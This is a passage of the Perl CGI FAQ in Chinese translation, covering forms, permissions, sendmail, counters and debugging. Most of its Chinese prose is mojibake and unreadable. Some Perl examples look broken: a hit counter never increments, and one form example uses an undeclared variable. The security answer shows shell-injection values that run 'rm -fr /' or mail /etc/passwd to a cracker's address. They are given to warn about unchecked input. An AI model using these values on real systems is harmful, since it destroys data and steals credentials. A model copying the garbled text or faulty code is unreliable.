¡iĶªÌ¡j «ØÄ³ÅªªÌ¦h¨Ï¥Î CGI.pm ¡CCGI::* ¤w¸g¦³«Üªø¤@¬q®É¶¡¨S¦³§ó·s¤F¡A¦Ó CGI.pm «h¤£Â_ªº¦³§ï¨}ªº·sª©±À¥X¡A¨Ã¤w¥[¤J¹ï FastCGI ªº¤ä´©¡A¦]¦¹¹ï FastCGI ªº¨Ï¥Î ªÌ¤]¬Û·í¤è«K¡C¦¹¥~¡Amod_perl ¡]Apache ªº perl module¡^¤¤©Òªþªº CGI::XA¡A¤]¬O¥Ñ CGI.pm §ï¶i¦Ó¨Óªº¡C CGI.pm Åý¨Ï¥ÎªÌ§K°£¦Û¤v°µ§C¶¥¸ê®Æ³B²z ¡]¦p¦L HTTP ¼ÐÀY¡B´À form, cookies ¸ê®Æ¸Ñ½Xµ¥¡^ªº³Â·Ð¡C
¨ä¹ê¨Ï¥Îª«¥ó¾É¦Vªº modules ¨Ã¤£Ãø¡C¥ý¥h¬Ý¬Ý Tom Christiansen ªº Easy Intro to Using Perl Objects ¡]²³æ¤¶²Ð¦p¦ó¨Ï¥Î Perl ª«¥ó¡^§a¡C
«eÀY´£¨ìªº CGI modules ¥Î°_¨Ó¯uªº¬O«Ü®e©ö¡I³o¸Ì¦³¤@ӥΠCGI Lite ¦L¥X form ¸ê®Æªº¹ê¨Ò*¡G
¡iĶªÌ¡jCGI.pm ªº¨Ï¥Î»¡©ú¤¤¦³§ó¦h½d¨Ò¥i¨Ñ°Ñ¦Ò¡C
nª`·Nªº¬O¡A§Y¨Ï±z¾÷¾¹¤Wªº Perl ¤£¬O±z¸Ëªº¡]±z¤£¬O¨t²ÎºÞ²zªÌ¡^¡A©Î¬O±zÅv¤£ °÷µLªk±N³o¨Ç modules ©M¨ä¥Lªº Perl library Àɮצw¸Ë¦b¦P¤@Ó¦a¤è¡A±zÁÙ ¬O¥i¥H¨Ï¥Î³o¨Ç modules ªº -- ¥un±N¥¦ÌÂ\¦b¤@Ó¦Û¤v¤è«Kªº¦a¤è¡AµM«á¦b ±zªº script ¶}©l³B¥[¤W*¡G#!/usr/local/bin/perl -w use CGI_Lite; $cgi = new CGI_Lite; %data = $cgi->parse_form_data; print "Content-type: text/plain", "\n\n"; foreach $key (keys %data) { print $key, " = ", $data{$key}, "\n"; } exit 0;
BEGIN { unshift @INC, "/your/dir/favorite/place"; }
¡iĶªÌ¡j«ØÄ³§ï¥Î¸û·sªº¤è¦¡¡G¦n¡C¥H¤U¬O¤@ӥΨì CGI::* modules ªº¨Ò¤l¡Guse lib qw(/your/dir/favorite/place);
#!/usr/local/bin/perl -w use CGI::Form; $cgi_form = new CGI::Form; print <<'End_of_Header'; <HTML> <HEAD><TITLE>¬ÝµÛ§Ú°µ¡I</TITLE></HEAD> <BODY> <H1>¬ÝµÛ§Ú°µ¡I</H1> End_of_Header print $form->startform; ## ²£¥Í¤@Ó³æ¦æ¿é¤JÄæ¦ì (text field) print '©m¦W¡G '; print $form->textfield('name'), "<BR>\n"; ## ²£¥Í¤@²Õ³æ¿ï«ö¯Ã (radio buttons) print '<P>±z¦íþ¨à¡G <BR>'; print $form->radio_group(-name => 'where', -values => ['¥_¬ü¬w', '«n¬ü¬w', '¼Ú¬w', '¿D¬w', '¨È¬w', '«n·¥¬w'], -default => '¥_¬ü¬w', -linebreak => 'true'); ## ²£¥Í¤@Ó¦h¦æ¿é¤JÄæ¦ì (textarea) print '·N¨£¡G '; print $form->textarea('comments', undef, 5, 40); print "<P>"; print $form->reset; print $form->defaults; print $form->submit('°e¥X¡I', 'Submit'); print $form->endform; print "</BODY></HTML>";
reset¡Bdefaults¡A¤Îsubmit¤TºØ¤èªk( methods ) ·|²£ ¥Í¤£¦PªºÃþ«¬ªº«ö¶s¡Creset ³oÓ«ö¶sÅý±z§â¥Ø«e form Äæ¦ì¤¤©Ò¶ñªº¸ê®Æ¬~±¼¡A ¨ÃÅã¥ÜÄÝ©ó¤W¤@Óª¬ºA¡]©Î¦^¦X¡^ªº¸ê®Æ¡C defaults ³oÓ«ö¶s«h¬O±Nform Äæ¦ì ¸ê®Æ¹ý©³¬~¥h¡CÁÙ¦³ submit ³oÓ¤èªk²£¥Í¤@Ó°e¥X¶s¥H«KÅý¤H±N¸ê®Æ°e¦Ü server ³B¡C
±z¬Ý¡A¤£¬O«Ü®e©ö¶Ü¡H
server ³q±`¬O³]©w¦¨¥h°õ¦æ©ñ¦b ``cgi-bin'' ¥Ø¿ý©³¤Uªº CGI µ{¦¡¡C¤£¹L¡A server ºÞ²zªÌ¦P®É¤]¥i¥H¦b³]©wÀɤ¤³]©w aliases¡AÅý©Ò¦³§t¬Y¨Ç°ÆÀɦW¡]¦p .cgi¡B.pl¡^ªº scripts ³£¯à°õ¦æ*¡C
¡iĶªÌ¡j³]©w CGI aliases ©M°ÆÀɦW©TµM«Ü¤è«K¡A¦ý server ºÞ²zªÌ¶·ª`·N¨ì¬Û Ãöªº¦w¥þ°ÝÃD¡C
ÀÉ®×Åv¬O®Ú¾Ú¨Ï¥ÎªÌÃѧO¥N¸¹¡]¤SºÙ uid¡^¡A¥H¤Î¥LÌ©ÒÄݪº¹ÎÅé¨Ó¨M©w¬O§_½á »P¨Ï¥ÎªÌŪ¡B¼g¡A©M°õ¦æ¬YÀɮתºÅv§Q¡C±z¥i¨Ï¥Î chmod ³oÓ«ü¥O¥h×§ïÀɮתº ¨Ï¥ÎÅv¡C¨Ò¦p¡G
% ls -ls form.cgi 1 -rwx------ 1 shishir 974 Oct 31 22:15 form.cgi*
¦¹¤@ÀɮתºÅv¬° 0700¡]¤K¶i¨î¡^¡A·N¨ýµÛ¨S¦³¤H¡]ÀɮשҦ³¤H°£¥~¡^¯à°÷Ū¨ú¡B ¼g¶i¡A©Î°õ¦æ³oÓÀɮסC§ÚÌ¥i¥H¥Î chmod ³oÓ«ü¥O¥hק復ªºÅv ¡G
³o¼Ë¤@¨Ó¡AÅv´NÅܤF¡C²{¦b©M ``shishir'' ¦b¦P¤@Ó¹ÎÅ骺¨Ï¥ÎªÌ¡AÁÙ¦³¨ä¥L ¥ô¦óªº¨Ï¥ÎªÌ³£¦³Åv§Q¥hŪ¨ú©M°õ¦æ³oÓÀɮפF¡C% chmod 755 form.cgi % ls -ls form.cgi 1 -rwxr-xr-x 1 shishir 974 Oct 31 22:15 form.cgi*
¦p±ýª¾ chmod «ü¥O¦U¤K¶i¨î¼Æ½X©Ò¥Nªíªº§t·N¡A½Ð°Ñ¾\ chmod manpagesªº»¡©ú¡C
Perl ¥i¥H¦w¸Ë¦b¨t²Î¤W¥ô¦ó¤@Ó¨¤¸¨¡I±z°ß¤@nª`·Nªº¬O server ¤£¯à¦bchroot ªºÀô¹Ò¤U¶]¡A§_«h¥¦«KµLªk¶] perl ¸Ñ;¹¡C´«¨¥¤§¡A¨t²ÎºÞ²zªÌ¥i¥H§â®Ú¥Ø¿ý §ïÅÜ¡AÅý ``/'' «ü¨ì¥t¤@ӥؿý¡A¦Ó¤£¬O¹ê»Ú¯u¥¿ªº®Ú¥Ø¿ý(``/'')¡C
¥H¤U´XºØ±¡§Î·|IJµo³oÓ¿ù»~°T®§¡G
¤@¯ë»¡¨Ó¡AHTTP server ¬O¥H ``nobody''¡B``www''¡A©Î¨ä¥L³oÃþÅv§Cªº¨Ï¥Î ªÌªº¨¥÷¨Ó¶]ªº¡C¦]¬°³oÓ½t¬G¡A±z¥´ºâ¦b¨ä¤¤»s³y·sÀɮתº¥Ø¿ý¡A¹ï server ¶]ªº ¨Ï¥ÎªÌ ID ¥²¶·n¬O¥i¼g(writable)¤~¦æ¡C
¬°¤F½T©w°_¨£¡A±z¨C¦¸³£À³¸Ó¥ýÀˬd open ³oÓ«ü¥O°e¦^ªºµ²§ôª¬ºA(return status)¡A¬Ý¬Ý open ¦³¨S¦³¦¨¥\¡C
open(FILE, "/abc/data.txt") || error("Could not open file /abc/data.txt"); . . . sub error { my($message) = @_; print <<End_of_Error; Content-type: text/html Status: 500 CGI Error <HTML> <HEAD><TITLE>CGI Error</TITLE></HEAD> <BODY> <H1>Oops! Error</H1> <HR> $message <HR> </BODY> </HTML> End_of_Error }
¨ä¹ê°µ³oÓ«Ü®e©ö¡C±zªº CGI script ¥²¶·¯à°µ¨ì³o¨â¥ó¨Æ¡G
§ÚÌ´N°²³]±z¥Îªº¬O CGI::* ¼Ò²Õ¡C±z¥i¥Î¥H¤Uªº¤èªk¥h¥s sendmail¡G
¦³¤@Ó¸Óª`·Nªº¦a¤è¬O ``Reply-To:'' ªº«HÀY¡C¥Ñ©ó server ¬O¥H ``nobody''³o ӨϥΪ̪º¨¥÷¨Ó¶]¡A«HÀYªº¦a¤è¥i¯à·|³Q·dÃa¡]¤×¨ä¬O·í¦³¤H·Q¦^³o«Ê«Hªº®É«á¡^¡C ¥[¤W ``Reply-To'' ªº«HÀY³oÓ°ÝÃD«K¸Ñ¨M¤F¡C$cgi_form = new CGI::Form; $from = $cgi_form->param('from'); $name = $cgi_form->param('name'); $to = $cgi_form->param('to'); $subject = $cgi_form->param('subject'); $message = $cgi_form->param('message'); open SENDMAIL, "| /usr/bin/sendmail -t -n"; print SENDMAIL <<End_of_Mail; From: $from <$name> To: $to Reply-To: $from Subject: $subject $message End_of_Mail
ºô¸ô¤W¦³³\¦hªº mail ´ë¹D (gateway)* ¬O¥H©³¤U³oºØ¤èªk¨Ó°e mail¡G
¡iĶªÌ¡jgateway ¦b¦¹«ü°e email ªº CGI µ{¦¡
¦pªG±z¨S¦³¥ýÀˬd¬Ý $to ³oÓÅܼƦ³¨S¦³¤º§t shell ªº¯S®í²Å¸¹ (metacharacters)¡A±z¬O¦b¦Û°QW¦Y¡IÄ´¦p¡A¦pªGþÓ´c¦Hªº user ¿é¤J¤F¥H¤Uªº¸ê ®Æ¡Gopen MAIL, "| mail -s 'Subject' $to"; ^ | +-- ¥i¯à·|¥X°ÝÃDªºº|¬}¡I¡I¡I
¨º»ò±zªº³Â·Ð¥i¤j¤F*¡C; rm -fr / ;
¡iĶªÌ¡j³o¸ÌÀYªº ``;'' «K¬O¤@Ó¦MÀIªº shell metacharacter¡C¥t¤@Ó¦MÀIªº²Å¸¹¬O ``&''¡C¦b³oÓ°²·Qªº±¡ªp¤¤¡A¦³¦h¤ÖÓÀÉ®×·|³Q»·¤èªº user µ¹±þ±¼¡AÁÙ±oµø server ¶]ªº¨Ï¥ÎªÌªºÅv¦Ó©w¡]³o´N¬O¬°¤°»ò server n¥H§CÅv¨Ï¥ÎªÌ¨¥÷¶]ªºì¦]¡^¡C ¦Ü¤Ö¨º¨Ç¥Ñ CGI µ{¦¡»s³y¥X¨Ó¡A¦ý¤S¨S¦³³Æ¥÷ªºÀɮסA¬O¯uªºn¸ò¥¦Ì¥Ã§O¤F¡C
¨º±zªº CGI script ´N´À±z§â /etc/passwd µ¹«ý¤â°e¤W¤F¡C³o¹ï¤@Ó¡u¥¼¥[¤u¡vªº Linux¡BSunOS 4.1¡AÁÙ¦³¨ä¥L¥ô¦ó¨S¦w¸Ë shadow-password ªº UNIX ¨t²Î¨Ó»¡¡A ¹ê¦b¤£¤Ó¦nª±¡C¦pªG server ¿ù»~¦a¶]¤F root¡A¨º»ò´Nºâ¸Ë¤F shadow-password ¤]¨S¦³¥Î¡A¦]¬°»·¤èªº cracker ¬Æ¦Ü¥i¥HÅý³oÓ CGI ªº email script µ¹¥L°e /etc/shadow ¡]µø¨t²Î¦Ó©w¡A¤£¤@©w¦b /etc ©³¤U©Î¥s³oÓ¦W¦r¡^¡C; mail joe@crackerland.org </etc/passwd
«Ü¤£©¯¦a¡Amailto: ªº«ü¥O¨Ã¤£¬O©Ò¦³ªºÂsÄý¾¹³£¤ä´©¡C¦pªG±z¦bÀɮפ¤¥Î¤F¥¦ªº¸Ü¡A ·|¨î¤F¨º¨Ç¨Ï¥Î¨S¦³¤ä´© mailto: ªºÂsÄý¾¹ªº¤H¡AÅý¥L̵Lªk°e mail µ¹±z*¡C
¡iĶªÌ¡j¾¨ºÞ¦p¦¹¡A±z©Î³\¤£·|¦b¥G¨º¦û·¥¤Ö¼Æ¤ñ¨Òªº¨Ï¥ÎªÌ¡]Netscape ¡B IE¡A ©M lynx µ¥ÂsÄý¾¹³£¤ä´© mailto: ¡^¡C
Perl ¤w¸g³Q²¾´Ó¨ì¤Wz©Ò¦³ªº¥¥x¤W¤F¡C¦]¦¹¡A±zªº Perl CGI µ{¦¡·Ó²zÀ³¤£Ãø ²¾´Ó¡C¦ý¦pªG±z¨Ï¥Î¨ì¤@¨Ç UNIX ¤Wªºµ{¦¡¡A¨º»ò±zªºµ{¦¡¥i¯à·|¤£¦n²¾´Ó¡C¦pªG ±z¥u¬O°µ¸ê®Æ³B²z¡A©Î¶}±Ò¡BŪ¶iÀÉ®×µ¥ªº¸Ü¡A¨º»ò²¾´ÓÀ³¸Ó¤£·|¦³°ÝÃD¡C
¡iĶªÌ¡jì FAQ ¨Ã¥¼¦^µª³Ì«á³oÓ°ÝÃD¡Cn¦b Windows/OS2/Mac µ¥«D UNIX ¥¥x ¤W´ú¦¡±zªº scripts ¡A±z¥i¥H¨Ï¥Î CGI.pm ¡]¤ä´©¥H¤W©Ò¦³¥¥x¡^¡A°t¦X Q4.19 ¤¤´£¥Üªº°£¿ù§Þ¥© ¡A©Î¦b¦Û¤vªº¾÷¾¹¤W¦w¸Ë HTTP server ³nÅé¡C¦p¦¹´N¤£¥Î¨¯Wªº³s¤W¥D¾÷¥h´ú¦¡¤F¡C
¦b CGI Àô¹Ò¤U¡ASTDERR ·|«ü¦V server ªº ¿ù»~°T®§ÀÉ (error log)¡C±z¥i¥Hµ½ ¥[§Q¥Î³oÓ¯S©Ê¡A§â°£¿ùªº°T®§¼g¨ì STDERR¡AµM«á±z«K¥iÂǬd¬Ý¿ù»~°T®§ÀɨÓÀ° ±z°£¿ù¡C
STDIN ©M STDOUT «h³£©MÂsÄý¾¹¬Û³s¡C¹ê»Ú¤W¡ASTDIN ³sªº¬O server¡C server ·|¥ý¸ÑŪ client ¡]©ÎÂsÄý¾¹¡^°e¥Xªº½Ð¨D©M¸ê®Æ¡A¦A±N¨ä°eµ¹ script¡C
±z¤]¥i¥H¥Î±N STDERR ¡u½Æ»s¡v¨ì STDOUT ªº¤èªk¨Ó§ì¿ù»~°T®§¡C³oÀ³¸Ó¦b script ¾a«eÀYªº¦a¤è°µ¡]¦ýÀ³¦b±z¿é¥X¦X¾Aªº HTTP ¼ÐÀY¤§«á¡^¡G
³o·|±N©Ò¦³ªº¿ù»~°T®§³£Âà°e¨ì STDOUT ¡]§YÂsÄý¾¹¡^ ¥h¡Copen STDERR, ">&STDOUT";
p¼Æ¾¹¤@Ãþªºµ{¦¡¬Û·í¬y¦æ¡C¨ä¹êp¼Æ¾¹ªºì²z«Ü²³æ¡A¤£¹L¬O¡G
¥H¤U¬O¤@Ó²³æªºp¼Æ¾¹ªº¹ê¨Ò¡G
²{¦b±z¥i¥H¦b HTML Àɮפ¤¥Î SSI (Server Side Include; ¦øªAºÝ´¡¤J)* ªº¤è¦¡¨ÓÅã¥Ü¸Óp¼Æ¾¹¡G#!/usr/local/bin/perl -w $counter = "/home/shishir/counter.dat"; print "Content-type: text/plain", "\n\n"; open(FILE, $counter) || die "Cannot read from the counter file.\n"; flock FILE, 2; $visitors = <FILE>; flock FILE, 8; close FILE; open(FILE, ">$counter") || die "Cannot write to counter file.\n"; flock FILE, 2; print FILE $visitors; flock FILE, 8; close FILE;
¡iĶªÌ¡jSSI ¬O server ©Ò´£¨Ñªº¤@¶µ¥\¯à¡A¥i±N°ÊºA¸ê®Æ¡A¨Ò¦p¤é´Á©M®É¶¡¡A©Î p¼Æ¾¹Åã¥Üµ¥¡A¦b«È¤á½Ð¨D¤@ºô¶®É§Y®É¥[¤J¸Ó¤å¥ó¤¤¡C¤ä´© SSI ªº servers ¥] ¬A¤F NCSA¡BApache¡A©MNetscape Enterprise Server µ¥¡C SSI ©TµM¬O¤@¶µ«K§Qªº³]p¡A¦ý¦p¹L¥÷ÀݥΠ¡A¤£¦ý·|´î§C server ©Ê¯à¡A§ó¥i¯à©Û¨Ó¦w¥þ¤Wªº¦M¾÷¡C
±z¬O²Ä<!--#exec cgi="/cgi-bin/counter.pl-->
¦ì¥úÁ{¥»¯¸ªº«È¤H¡C
¥H¤U³oÓ²³æªº regular expression ¥i¥Î¨Ó¥h°£ HTML ¼ÐÅÒ*¡G
¡iĶªÌ¡j
- nÅý³oÓ regular expression ¸ó¦æ°õ¦æ¡A±z¥²¶·¥ý±N±zªº script ¥Ñ¹w³]ªº «ö¦æ°õ¦æ¼Ò¦¡ (line mode) §ï¬°«ö¬q°õ¦æ¼Ò¦¡ (paragraph mode)¡C±z¥i¥H¦b«ü¥O ¦C¥H¡G
perl -00 -we '...'ªº¤è¦¡¡F©Î¬O¦b script ¤¤¥H¡G#!/usr/bin/perl -00©Î$/ = "";ªº¤è¦¡¨Ó³]©w«ö¬q°õ¦æ¼Ò¦¡¡C- °£«D±z»Ýn¹ï±ý§R°£ªº HTML ¼ÐÅÒ¤¤ªº¤º®e°µ¶i¤@¨Bªº³B²z©Î§Q¥Î¡A§_«h¥»¨Ò ¤¤³Ì¥~³òªº¤@¹ï¬A©·¥i¥h±¼¡C
$line =~ s/<(([^ >]|\n)*)>//g;
¸Ô²Óªº¬ÛÃö¸ê®Æ¡A½Ð¬Ý Tom [Christiansen] ªº striphtml µ{¦¡¡A ³oÓµ{¦¡¦P®É¤]¦¬¿ý¦b¥Lªºtour of perl5 regexps Á¿¸q¤¤¡C
±z¥i¥H±q HTTP_USER_AGENT ³oÓÀô¹ÒÅܼƱoª¾¨Ï¥ÎªÌ©Ò¥ÎªºÂsÄý¾¹¡C
¡iºK¦Û WWW FAQ¡j
±zªº CGI script ¥i¥H§Q¥Î¤Ó«nªºÀô¹ÒÅܼƨÓÀ°¦£¿ëÃѨϥΪ̪º¨¥÷¡C
¦pªG±z±N±zªº server ³]¦¨¹ï©Ò¦³¦b¤@Ó¯S©w¥Ø¿ý¡]¦p cgi-bin¡^¤UªºÀɮסA©ÎªÌ ¬O¨ã¦³¬Y¨Ç°ÆÀɦW¡]¦p ``.pl''¡B``.tcl''¡B``.sh''¡^ªºÀɮפ@«ß³£¥H CGI µ{¦¡¬Ý «Ý¡A¨º»ò server ¥u·|°õ¦æ³o¨Çµ{¦¡¡C¦Ü©ó¨Ï¥ÎªÌ¬OµLªk¬Ý¨ì script ¥»¨ªº¤º®e ªº¡C
¦ý¬O¦pªG±z¤¹³\¤H̬ݱzªº script (Ä´¦p§â¥¦©ñ¨ì HTML ¤å¥óªº®Ú¥Ø¿ý ¤U)¡A¨º»ò¥un¬O³oÓµ{¦¡¨S¦³¦w¥þ¤Wªºº|¬}¡A³o¨Ã¤£¯àºâ¬O¦w¥þ°ÝÃD¡C¦p ªG³oÓµ{¦¡¯uªº¦³¦w¥þ¤Wªº¯}ºì¦Ó±z¤S¤¹³\¨Ï¥ÎªÌ¬Ý³oÓµ{¦¡¡A¨º»ò¥LÌ«K¦³¾÷¥i ¼¡A¶i¦Ó§Q¥Î³oÓ®zÂI¡C
¡iĶªÌ¡j¤W±³o¬qì¤å§@ªÌ¬O´N»·¤èªº«È¤áºÝªº¨Ï¥ÎªÌ¦Ó¨¥¡C©M³oÓ¥DÃD¬ÛÃöªº¤@ Ó±`°Ý°ÝÃD¬O¡GQ: §Úªº Perl CGI scripts ¥²¶·±NÅv³]¬°¥þ¥@¬É¥iŪ¡C¥i¬O³o¼Ë¤@¨Ó¡A©M§Ú¦P ¾÷¾¹¦³±b¤áªº¤H¡A¥unª¾¹D§Úªºµ{¦¡¦WºÙ¡A´N¥i¥HÂsÄý§Úªº Perl µ{¦¡ªº¤º®e¡F¤× ¨ä·í¨ä¤¤²o¯A¨ì±K½Xªº°ÝÃD®É¡C
A: ¦Ü¤Ö¦³¨âӸѨM¤èªk¡A¤@Ó²³æ¡A¤@Ó½ÆÂø¡G
²³æªº¤èªk¬O¡A½Ð±zªº¨t²ÎºÞ²zªÌ¡]¦pªG¤£¬O±z¦Û¤vªº¸Ü¡^¡A±N±zªº CGI scripts ¤Î±K½XÀÉ¡]¦pªG±z¿ï¾Ü±N±K½X¦s©ñ¦b¥t¤@ÓÀɮפ¤ªº¸Ü¡^ªº©Ò¦³ªÌ³]¦¨ Web server ¶]ªº¨Ï¥ÎªÌ¡]³Ì±`¨£ªº¬O¨Ï¥ÎªÌ nobody ¡F¨Ï¥Î¸s nogroup ©Î nobody¡^¡A µM«á±N CGI scripts ªº¨Ï¥ÎÅv³]©w¦¨ 550 (-r-xr-x---)¡A±K½XÀɪºÅv³]¦¨ 440 (-r--r-----)¡C¦p¦¹¤@¨Ó¡A¤@¤è±±zªºµ{¦¡±o¥H°õ¦æ¡A¦Ó¥B¨ä¥L¦P¾÷¾¹¤Wªº ¨Ï¥ÎªÌ¤]¨S¦³¿ìªk°½¬Ý¨ì±zªºµ{¦¡©M±K½X¡C
¤ñ¸û½ÆÂøªº¸Ñ¨M¤èªk¬O¥ý¬DÓÃø¯}ªº±K½X±N¾ãÓµ{¦¡¥[±K°_¨Ó¡AµM«á¦A¨Ï¥Î Filter::decrypt ³oÓ¼Ò²Õ¦bÁ{°õ¦æ«e±N¨ä¸Ñ¶}¡A¦b¦¹¤£¦h»¡¡C¦³¿³½ìªºÅªªÌ½Ð¬Ý Filter::decrypt ªº¨Ï¥Î»¡©ú¡F¦¹¥~·sªº perl FAQ ²Ä¤T³¡¤À¤¤³o¤@¬q¡G``How can I hide the source for my Perl program?'' ¡A¤j®a¤]¥i°Ñ¦Ò¡C
¤£»Ýn¡C±zªº CGI scripts ¥i¥H¨Ï¥Î server ©M ¤å¥ó®Ú¥Ø¿ý¤§¥~ªº¥ô¦óÀɮסA°£ «D server ¬O¦b¤@Ó chroot ªºÀô¹Ò¤U°õ¦æ¡C
No! form ªº¤¶±¤¤¦³¤@Ó ``password'' ªºÄæ¦ì¡A¦ý¬O±z¤£À³¸Ó®³¥¦¨Ó³B ²z¥ô¦ó¾÷±K©Êªº¸ê®Æ¡C¤£¸Ó³o»ò°µªºì¦]¬O¦]¬°©Ò¦³ªº form ¸ê®Æ(¥]¬A ``password'' Äæ) ³£¬O¥H¯Â¤å¦r§Î¦¡¡A¦Ó«D¥H¥[±K§Î¦¡¥ÑÂsÄý¾¹°e¦Ü server¡C
¦pªG±z·Qn¦w¥þ¦a¶Ç°e¸ê®Æ¡A¨º»ò±z»Ýn¨Ï¥Î¨ã¦³¦w¥þ¥\¯àªº server¡A¨Ò¦p Netscape ªº Commerce Server*¡C
¡iĶªÌ¡jApache SSL ¡A¨Ò¦p Stronghold ª©¡A¦P¼Ë¨ã¦³³oÓ¥\¯à¡C
±z¥i¥H³z¹L HTTP_USER_AGENT ³oÓÀô¹ÒÅܼƦb±zªº CGI script ¤¤±oª¾¬O§_ Netscape ¥¿¦b°õ¦æ±zªº script¡C¥H¤U¬°¤@¨Ò¡G
$browser = $ENV{'HTTP_USER_AGENT'}; if ($browser =~ /Mozilla/) { # # Netscape # } else { # # Non Netscape # }
³o¬O¥Ñ©ó¼Ð·Ç¿é¥Xªº²£¥Í¤è¦¡³q±`¬O¥ý²Ö¿n¬Û·íªº¸ê®Æ¦A¿é¥X(buffered)¡Cn Åý¿é¥Xªº¸ê®Æ¥H¥¿½Tªº¶¶§ÇÅã¥Ü¡A±z¥²¶·ÂÇ¥Ñ $| ³oÓÅܼƪº³]©w±N buffering ªº ¯S©ÊÃö±¼¡C
¡iĶªÌ¡jì FAQ ¤w¦³¬Û·í¤@¬q®É¶¡¥¼§ó·s¡C³o¥y¸Ü²{¦bÀ³¸Ó§ï§@¡uNetscape ©M IE ¨â¤jÂsÄý¾¹³£¤w¤ä´© Java¡v¡C
¤£¡B¤£¡B¤£¡CJava ©M CGI ªº·§©À§¹¥þ¤£¦P¡CCGI ¬O¦b server ºÝ°õ¦æ¡A¦Ó Java«h¬O¦b client ºÝ°õ¦æ¡C¦³¨ÇªF¦è¡]¦p°Êµe¡^¥iÂǥѨϥΠJava ¦Ó±o¨ì¸û¦nªº®Ä ªG¡C¦ý±z¥iÄ~Äò¨Ï¥Î perl ¨Óµo®i server ºÝªºÀ³¥Îµ{¦¡¡C
¦pªG±z»Ýn¦³Ãö Java ¶i¤@¨Bªº¸ê®Æ¡A©³¤U¦C¤F´XÓ¤å¥ó±z¥i¥H¥h¬Ý¬Ý*¡G
¡iĶªÌ¡j«á±³o¨â½g¤å³¹¹ï Java ¤Î³oÓ¼ö¼é§@¤F«ÜÄY¼Fªº§å§P¡C¥» FAQ §@ªÌ Tom C. ªº Java uber Alles ¤¤ªº½×ÂI¥DnµÛ«©ó§Þ³N¼h±¡CTom ¹ï Java ªººA«×©Î³\¥Nªí¤F¤£¤Ö Perl °}Àç¤H¥Kªº¤ßÁn¡C
±z¥i¥H³z¹L %ENV ³oÓÃö³s°}¦C¨ÓŪ¨úÀô¹ÒÅܼơC¥H¤U³oÓ²³æªº script ·|§â©Ò ¦³ªºÀô¹ÒÅܼƦL¥X¨Ó¡]±Æ¦n¶¶§Ç¡^¡G
#!/usr/local/bin/perl -w print "Content-type: text/plain", "\n\n"; foreach $key (sort keys %ENV) { print $key, " = ", $ENV{$key}, "\n"; } exit 0;
«Ü¤£©¯ªº¡A¦³¨ÇÀô¹ÒÅܼƷ|³Q¬Y¨ÇÂsÄý¾¹©¿²¤±¼¡CÄ´¦p¡A¦³¨ÇÂsÄý¾¹´N¤£³]©w HTTP_REFERER¡C
¦pªG±z°eªº MIME Ãþ«¬¬O HTML ªº¸Ü¡A±z¥²¶· ¡u¸õ²æ¡v (escape) ¬Y¨Ç²Å¸¹¡A¦p ``<''¡B``&anp;''¡A¤Î ``>''¡A§_«hÂsÄý¾¹·|¥H¬°¥¦¬O HTML ¡i¼ÐÅÒ¡j¡C
±z¥²¶·¨Ï¥Î¥H¤U®æ¦¡¨Ó¸õ²æ¯S®í¦r¤¸¡G
&#ASCII ¥N½X;
±z¥i¥H¦b«ü¥O¦C°õ¦æ³oÓ²³æªº script¡A«K¥i±o¨ì«D¦r¥À¼Æ¦r©Ê¦r¤¸ (non alpha-numeric characters) ©Ò¹ïÀ³ªº ASCII ½X¡G
#!/usr/local/bin/perl -w print '½Ð¿é¤J¦r¦ê¡G '; chop($string = <STDIN>); $string =~ s/([^\w\s])/sprintf("&#%d;", ord($1))/ge; print '¸õ²æ¹Lªº¦r¦ê¬O¡G ', "$string\n"; exit 0;
³Ì¥i¯àªºì¦]¬OÅvªº°ÝÃD¡C§O§Ñ¤F¡A±zªº server ¥i¯à¬O¥H ``nobody''¡B ``www''¡A©Î¨ä¥LÅv«Ü§Cªº±b¤á¨¥÷¨Ó°õ¦æªº¡C¦]¦¹¡A°£«D¥¦¦³¨¬°÷ªºÅv¡A§_ «h¬OµLªk°õ¦æ±zªº script ªº¡C
³o¤S¬OÅv¦b§@©Ç¡Iserver °£«D¦³¨¬°÷ªºÅv§_«h¬OµLªk±N¸ê®Æ¼g¶i¬Y¥Ø¿ý¤Uªº ¬YÀɮ׸̥hªº¡C
±zÀ³¸Ó¾i¦¨²ßºDÀˬd open «ü¥O»¼¦^ªº¿ù»~ª¬ºA (error status)¡G
print "Content-type: text/plain\n\n"; . . . open(FILE, ">/some/dir/some.file") || print 'µLªk¼g¶iÀɮסG ', "$!\n"; . . .
±z¥i¥H¥Î CGI::MiniSvr ³oÓ module ¨Óºû«ù¡i°O¦í¡j´X¦¸¤£¦Pªº³s½u¤§¶¡ªºª¬ºA¸ê ®Æ¡C
©ÎªÌ¡A±z¥i¥H»s°µ¤@¨t¦Cªº°ÊºA¤å¥ó¡A¦b©¼¦¹¤§¶¡¬Û¤¬¶Ç»¼¤@Ó´Á¶¡¥N½X(session ID)¡A¦¹¥N½X¥i¥H¥H¸ß°Ý (query)¡BÃB¥~¸ô®|¡A©ÎÁôÂæ¡Äæ¦ìµ¥§Î¦¡¦s¦b*¡C
¡iĶªÌ¡jCGI.pm ·|´À±z§â³o³¡¥÷¡]ºû«ùª¬ºA)°µ¦n (¥Î¤Wzªºì²z¡^¡A¬G¨Ï¥Î CGI.pm ¥i¦Û°Ê¨É¨ü³o¶µ¥\¯à¡A¤£»Ýn¦Û¤v¥h°µ¡C³o¤S¦h¤F¤@ӸӨϥΠCGI.pm ªº²z¥Ñ¡C
CGI µ{¦¡¤£®e©ö°£¿ù¡C±z¥i¥HÂǵۤâ°Ê³]©wÀô¹ÒÅܼƨӼÒÀÀ server¡G
n¼ÒÀÀ POST ½Ð¨D¡A±z¥i¥H§â¸ê®Æ¥ý©ñ¶i¤@ÓÀɮ׸̡AµM«á§â¥¦ pipe ¨ì±zªºµ{¦¡ ¥h¡Gsetenv HTTP_USER_AGENT "Mozilla/2.0b6" (csh)©Îexport HTTP_USER_AGENT = "Mozilla/2.0b6" (ksh, bash)
cat data.file | some_program.pl
©ÎªÌ±z¥i¥H¥Î CGI.pm ¨ÓÀ°±z°£¿ù¡C°²³]±z¦³¤@Ó¹³¤U±³o¼Ëªº script¡A ¥¦·|§â©Ò¦³±z¶Çµ¹¥¦ªº¯Á¤Þ¡þ³]©wȹïÀ³¸ê®Æ (key/value pairs) ³£¦C¦L¥X¨Ó¡C
